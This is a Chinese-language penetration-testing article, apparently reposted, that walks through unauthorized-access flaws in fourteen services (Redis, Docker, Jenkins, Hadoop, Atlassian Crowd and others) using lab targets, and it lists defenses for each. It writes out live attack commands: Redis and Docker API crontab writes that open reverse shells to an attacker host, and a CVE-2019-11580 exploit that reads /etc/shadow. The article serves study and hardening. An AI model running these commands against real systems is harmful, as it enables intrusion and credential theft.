常见未授权访问漏洞总结 |
您所在的位置:网站首页 › rmi未授权访问漏洞 › 常见未授权访问漏洞总结 |
常见未授权访问漏洞总结 https://xz.aliyun.com/t/6103#toc-12 小维 / 2019-08-28 09:10:00 / 浏览数 46708 安全技术 众测渗透[顶(13)](javascript:) [踩(0)](javascript:) 本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。 常见的未授权访问漏洞: Redis 未授权访问漏洞 MongoDB 未授权访问漏洞 Jenkins 未授权访问漏洞 Memcached 未授权访问漏洞 JBOSS 未授权访问漏洞 VNC 未授权访问漏洞 Docker 未授权访问漏洞 ZooKeeper 未授权访问漏洞 Rsync 未授权访问漏洞 Atlassian Crowd 未授权访问漏洞 CouchDB 未授权访问漏洞 Elasticsearch 未授权访问漏洞 Hadoop 未授权访问漏洞 Jupyter Notebook 未授权访问漏洞 Redis未授权访问漏洞 漏洞简介以及危害Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。 漏洞利用 环境介绍 目标靶机: Centos7 ip地址: 192.168.18.138 连接工具:Xshell 环境搭建 wget http://download.redis.io/releases/redis-2.8.17.tar.gz服务启动成功! 服务启动成功 为了方便,在windows攻击机里下载一个redis clinet 下载地址:https://github.com/caoxinyu/RedisClient/releases (利用redis写webshell测试使用) 使用redis clinet 直接无账号成功登录redis 靶机网站路径:/var/www/html/ 这里我们调出Console
访问test.php 端口监听: 在攻击机上监听一个端口(未被占用的任意端口): nc -lvnp 5555连接redis,写入反弹shell redis-cli.exe -h 192.168.18.138 config set dir /var/spool/cron set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n" config set dbfilename root save反弹shell成功! 最近出的Redis-RCE,该漏洞利用前提是获取redis访问权限,也就是基于redis未授权访问。 防御手段-禁止使用root权限启动redis服务。 -对redis访问启动密码认证。 -添加IP访问限制,并更改默认6379端口。 MongoDB 未授权访问漏洞 漏洞简介以及危害开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。 造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。 漏洞利用 环境介绍 目标靶机: Kali ip地址: 192.168.18.128 连接工具:Xshell 环境搭建这里使用docker (https://www.runoob.com/docker/docker-tutorial.html 可自行Google) docker search mongodb # 从Docker Hub查找镜像
这里使用 NoSQLBooster 下载地址:https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe -为MongoDB添加认证:MongoDB启动时添加–auth参数、为MongoDB添加用户 -MongoDB 自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false -启动时加入参数–bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1 Jenkins 未授权访问漏洞 漏洞简介以及危害默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。 漏洞利用 环境介绍 目标靶机: kali ip地址: 192.168.18.129 连接工具:Xshell 环境搭建 wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载下载地址:http://mirrors.jenkins.io/ dpkg -i jenkins_1.621_all.deb # 安装 sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行访问http://192.168.18.129:8080/manage可以看到没有任何限制可以直接访问 点击“脚本命令执行”
-升级版本。 -添加认证,设置强密码复杂度及账号锁定。 -禁止把Jenkins直接暴露在公网。 Memcached 未授权访问漏洞 漏洞简介以及危害Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。 漏洞利用 环境介绍 目标靶机: Windows Server 2012 ip地址: 10.0.4.138 连接工具:Xshell 环境搭建64位系统 1.4.4版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip 解压压缩包到指定目录 使用管理员权限运行以下命令: memcached.exe -d install为了方便测试这里将防火墙关闭 telnet 10.0.4.138 11211 或 nc -vv 11211 无需用户名密码,可以直接连接memcache 服务的11211端口-设置Memchached只允许本地访问。 -禁止外网访问Memcached 11211端口。 -配置访问控制策略。 -最小化权限运行。 -修改默认端口等。 JBOSS 未授权访问漏洞 漏洞简介以及危害JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。 漏洞利用 环境介绍 远程木马服务器: Centos 目标靶机: Kali ip地址: 192.168.18.129 连接工具:Xshell 环境搭建这里使用我修改过的docker镜像 docker search testjboss docker pull testjboss/jboss:latest docker images docker run -p 8080:8080 -d 5661a2e31006
http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面 点击jboss.deployment进入应用部署页面 -对jmx控制页面访问添加访问验证。 -进行JMX Console 安全配置。 VNC 未授权访问漏洞 漏洞简介以及危害VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。 漏洞利用 环境介绍 目标靶机: Windows Server 2003 Standard Edition ip地址: 192.168.15.8 环境搭建下载地址:https://archive.realvnc.com/download/open/4.0/ 进行安装(一直下一步即可) -配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。 -以最小普通权限身份运行操作系统。 Docker 未授权访问漏洞 漏洞简介以及危害Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。 Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。 漏洞利用 环境介绍 目标靶机: Kali ip地址: 192.168.15.5 连接工具:Xshell 环境搭建 # 下载环境 mkdir docker cd docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh #或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce DownGit网址:https://minhaskamal.github.io/DownGit/#/home反弹宿主机shell 还有其他比如写入ssh公钥等利用方式,方式方法都是大同小异的,这里就不再介绍了。 也可以直接利用python脚本 import docker client = docker.DockerClient(base_url='http://{target_ip}:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})Docker 未授权访问漏洞利用脚本[没试过] https://github.com/Tycx2ry/docker_api_vul 防御手段-简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。 -修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。 ZooKeeper 未授权访问漏洞 漏洞简介以及危害zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。 漏洞利用 环境介绍 目标靶机:Centos ip地址:172.16.2.251 连接工具:Xshell 环境搭建 #搭建环境 wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz tar -xzvf zookeeper-3.4.14.tar.gz cd zookeeper-3.4.14/conf mv zoo_sample.cfg zoo.cfg ../bin/zkServer.sh start # 启动
下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip -修改 ZooKeeper 默认端口,采用其他端口服务。 -添加访问控制,配置服务来源地址限制策略。 -增加 ZooKeeper 的认证配置。 Rsync 未授权访问漏洞 漏洞简介以及危害Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。 漏洞利用 环境介绍 目标靶机:Kali ip地址:172.16.2.250 连接工具:Xshell 环境搭建 #利用DownGit下载https://github.com/vulhub/vulhub/tree/master/rsync/common DownGit网址:https://minhaskamal.github.io/DownGit/#/home反弹成功。 -账户认证:正确配置认证用户名及密码。 -权限控制:使用合理的权限。 -网络访问控制:控制接入源ip。 -数据加密传输等 Atlassian Crowd 未授权访问漏洞 漏洞简介以及危害Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。 漏洞利用 环境介绍 目标靶机:Centos ip地址:192.168.18.138 连接工具:Xshell 环境搭建 wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip unzip atlassian-crowd-3.4.3.zip
进行上传一个标准的插件,来自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar curl --form "[email protected]" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v成功上传 漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580 git clone https://github.com/jas502n/CVE-2019-11580 cd CVE-2019-11580/ python CVE-2019-11580.py http://192.168.18.138:8095 curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow-设置访问/crowd/admin/uploadplugin.action的源ip。 -升级最新版本(3.5.0以上)。 CouchDB 未授权访问漏洞 漏洞简介以及危害Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。 在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。 漏洞利用 环境介绍 目标靶机:Kali ip地址:192.168.18.129 连接工具:Xshell 环境搭建 mkdir couchdb wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml
本机python运行http服务 python -m SimpleHTTPServer 9999
-绑定指定ip。 -设置访问密码。 Elasticsearch 未授权访问漏洞 漏洞简介以及危害ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。 Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 漏洞利用 环境介绍 目标靶机:Centos ip地址:192.168.18.138 连接工具:Xshell 环境搭建 # elasticsearch需要JDK1.8+ # 创建elasticsearch用户,elasticsearch不能root执行 useradd elasticsearch passwd elasticsearch su elasticsearch #下载环境 wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
-访问控制策略,限制IP访问,绑定固定IP。 -在config/elasticsearch.yml中为9200端口设置认证等。 Hadoop 未授权访问漏洞 漏洞简介以及危害Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。 漏洞利用 环境介绍 目标靶机:Kali ip地址:192.168.18.129 连接工具:Xshell 环境搭建 mkdir hadoop cd hadoop/ wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py #或者利用DownGit下载https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn DownGit网址:https://minhaskamal.github.io/DownGit/#/home访问 http://192.168.18.129:8088/cluster 利用过程: 在本地监听端口 >> 创建Application >> 调用Submit Application API提交 本地监听9999端口
-如无必要,关闭 Hadoop Web 管理页面。 -开启身份验证,防止未经授权用户访问。 -设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。 Jupyter Notebook 未授权访问漏洞 漏洞简介以及危害Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。 如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。 漏洞利用 环境介绍 目标靶机:Kali ip地址:192.168.18.129 连接工具:Xshell 环境搭建 wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml docker-compose up -d
访问 http://192.168.18.129:8888 New > Terminal 创建控制台 -开启身份验证,防止未经授权用户访问。 -访问控制策略,限制IP访问,绑定固定IP。 鸣谢感谢网络中的分享者(师傅们),在我整理知识的时候给了我很大的一个帮助。 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |